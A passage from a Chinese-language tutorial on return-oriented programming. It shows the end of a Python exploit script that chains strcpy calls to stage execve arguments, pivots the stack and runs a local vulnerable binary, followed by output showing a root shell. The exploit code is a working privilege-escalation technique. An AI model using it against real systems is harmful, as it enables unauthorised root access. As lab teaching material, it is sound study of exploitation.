#Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct4)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct3)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct2)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct1)
#Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack @ loc 0x804ac6c)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
#Stack Pivot
buf += conv(pr_addr)
buf += conv(cust_base_esp)
buf += conv(lr_addr)

print "Calling vulnerable program"
call(["./vuln", buf])

执行上述利用代码,我们会获得 root shell(在下面展示):

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����Ѓ΅d�ˁЃ΅e�U�Ѓ΅f�0�Ѓ΅g�C�Ѓ΅h�܃Ѓ΅i�U�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`�Ѓ΅p���Ѓ΅q�Ѓ΅r�0�Ѓ΅s�C�Ѓ΅t���Ѓ΅u�Ѓ΅v�0�Ѓ΅w�C�Ѓ΅x�`�Ѓ΅y�`�Ѓ΅z�`�Ѓ΅{�`�Ѓ΅`�T�Ѓ΅a�W�Ѓ΅b�V�Ѓ΅c�^�Ѓ΅d�T�Ѓ΅e�b�Ѓ΅f���Ѓ΅h���Ѓ΅i�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`���`�i�
Len:1008
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

参考

PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS

上一篇:[连载]《C#通讯(串口和网络)框架的设计与实现》- 9.插件引擎设计


下一篇:平台云基石-CoreOS之集群篇(无需互联网)